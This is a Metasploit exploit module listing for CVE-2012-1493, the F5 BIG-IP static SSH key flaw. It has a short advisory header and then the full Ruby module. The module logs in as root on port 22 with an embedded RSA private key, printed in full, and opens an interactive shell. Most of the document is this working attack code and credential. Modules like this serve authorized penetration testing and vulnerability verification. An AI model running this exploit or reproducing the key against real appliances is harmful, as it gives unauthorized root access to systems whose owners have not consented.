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F5 BIG-IP SSH Private Key Exposure

F5 BIG-IP SSH Private Key Exposure
Posted Jun 12, 2012
Authored by egypt | Site metasploit.com

F5 ships a public/private key pair on BIG-IP appliances that allows passwordless authentication to any other BIG-IP box. Since the key is easily retrievable, an attacker can use it to gain unauthorized remote access as root.

tags | exploit, remote, root
advisories | CVE-2012-1493, OSVDB-82780
MD5 | af1646ec0e8678f829f5946ae8c5cabb

F5 BIG-IP SSH Private Key Exposure

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'net/ssh'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Auxiliary::Report


def initialize(info = {})
super(update_info(info, {
'Name' => 'F5 BIG-IP SSH Private Key Exposure',
'Version' => '$Revision$',
'Description' => %q{
F5 ships a public/private key pair on BIG-IP appliances that allows
passwordless authentication to any other BIG-IP box. Since the key is
easily retrievable, an attacker can use it to gain unauthorized remote
access as root.
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find',
},
},
'Author' => ['egypt'],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://www.trustmatta.com/advisories/MATTA-2012-002.txt' ],
[ 'CVE', '2012-1493' ],
[ 'OSVDB', '82780' ]
],
'DisclosureDate' => "Jun 11 2012",
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
'DefaultTarget' => 0,
}))

register_options(
[
# Since we don't include Tcp, we have to register this manually
Opt::RHOST(),
Opt::RPORT(22),
], self.class
)

register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)

end

# helper methods that normally come from Tcp
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end

def do_login(user)

opt_hash = {
:auth_methods => ['publickey'],
:msframework => framework,
:msfmodule => self,
:port => rport,
:key_data => [ key_data ],
:disable_agent => true,
:config => false,
:record_auth_info => true
}
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
begin
ssh_socket = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh_socket = Net::SSH.start(rhost, user, opt_hash)
end
rescue Rex::ConnectionError, Rex::AddressInUse
return :connection_error
rescue Net::SSH::Disconnect, ::EOFError
return :connection_disconnect
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return :connection_disconnect
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
return [:fail,nil] # For whatever reason.
end

if ssh_socket

# Create a new session from the socket, then dump it.
conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true)
ssh_socket = nil

return conn
else
return false
end
end

def exploit
conn = do_login("root")
if conn
print_good "Successful login"
handler(conn.lsock)
else
print_error "Login failed"
end
end


def key_data
<<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWgIBAAKBgQC8iELmyRPPHIeJ//uLLfKHG4rr84HXeGM+quySiCRgWtxbw4rh
UlP7n4XHvB3ixAKdWfys2pqHD/Hqx9w4wMj9e+fjIpTi3xOdh/YylRWvid3Pf0vk
OzWftKLWbay5Q3FZsq/nwjz40yGW3YhOtpK5NTQ0bKZY5zz4s2L4wdd0uQIBIwKB
gBWL6mOEsc6G6uszMrDSDRbBUbSQ26OYuuKXMPrNuwOynNdJjDcCGDoDmkK2adDF
8auVQXLXJ5poOOeh0AZ8br2vnk3hZd9mnF+uyDB3PO/tqpXOrpzSyuITy5LJZBBv
7r7kqhyBs0vuSdL/D+i1DHYf0nv2Ps4aspoBVumuQid7AkEA+tD3RDashPmoQJvM
2oWS7PO6ljUVXszuhHdUOaFtx60ZOg0OVwnh+NBbbszGpsOwwEE+OqrKMTZjYg3s
37+x/wJBAMBtwmoi05hBsA4Cvac66T1Vdhie8qf5dwL2PdHfu6hbOifSX/xSPnVL
RTbwU9+h/t6BOYdWA0xr0cWcjy1U6UcCQQDBfKF9w8bqPO+CTE2SoY6ZiNHEVNX4
rLf/ycShfIfjLcMA5YAXQiNZisow5xznC/1hHGM0kmF2a8kCf8VcJio5AkBi9p5/
uiOtY5xe+hhkofRLbce05AfEGeVvPM9V/gi8+7eCMa209xjOm70yMnRHIBys8gBU
Ot0f/O+KM0JR0+WvAkAskPvTXevY5wkp5mYXMBlUqEd7R3vGBV/qp4BldW5l0N4G
LesWvIh6+moTbFuPRoQnGO2P6D7Q5sPPqgqyefZS
-----END RSA PRIVATE KEY-----
EOF
end
end


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